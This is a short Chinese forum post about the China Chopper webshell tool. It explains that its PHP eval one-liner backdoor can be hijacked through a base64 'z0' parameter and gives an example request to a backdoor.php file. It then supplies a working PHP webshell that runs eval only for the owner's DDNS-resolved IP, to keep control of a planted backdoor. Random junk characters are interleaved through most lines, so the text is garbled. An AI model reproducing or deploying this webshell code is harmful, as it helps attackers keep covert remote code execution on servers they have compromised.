今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞
( `3 G9 \- h& o; x w
) p! }, l1 ^! L# ~就算你设置了密码,使用了eval($_REQUEST['moyo']);3 }3 M T. {9 K1 U4 c$ x
/ d) X$ \/ @6 l' z! ?' V但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门
( a# \8 h, P5 V2 v' v, | B2 B% ?9 v) l, g; F7 S
因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
5 E0 f9 H# S G* G2 Z% ^
" S% \' F6 o1 r1 z: S直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了* k: b [$ _1 w+ z( ]
# O$ f! Q5 |* a
不知道是设计缺陷还是故意留的后门4 s# x# W* j2 x& b
4 I4 n+ _3 R% D) y, _如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用
2 [* y2 T2 w+ ?/ Z' z, x9 Q6 V8 o' i% j1 L' z" w+ z! N
本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org- \) |( R: t" o9 K( E5 J7 |
: P) X. n$ H$ v0 p% {
然后一句话后门这样写* b0 {- r3 V5 @0 U# G- o
( x4 b6 \- F7 N4 @. T: Q) B" E<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>
& F. U# Y4 M3 S, T, ?( i这样就可以让一句话后门只允许自己的电脑连接了1 X) u2 ]8 {$ C
$ d7 t* |& l1 J9 P% f0 T; i |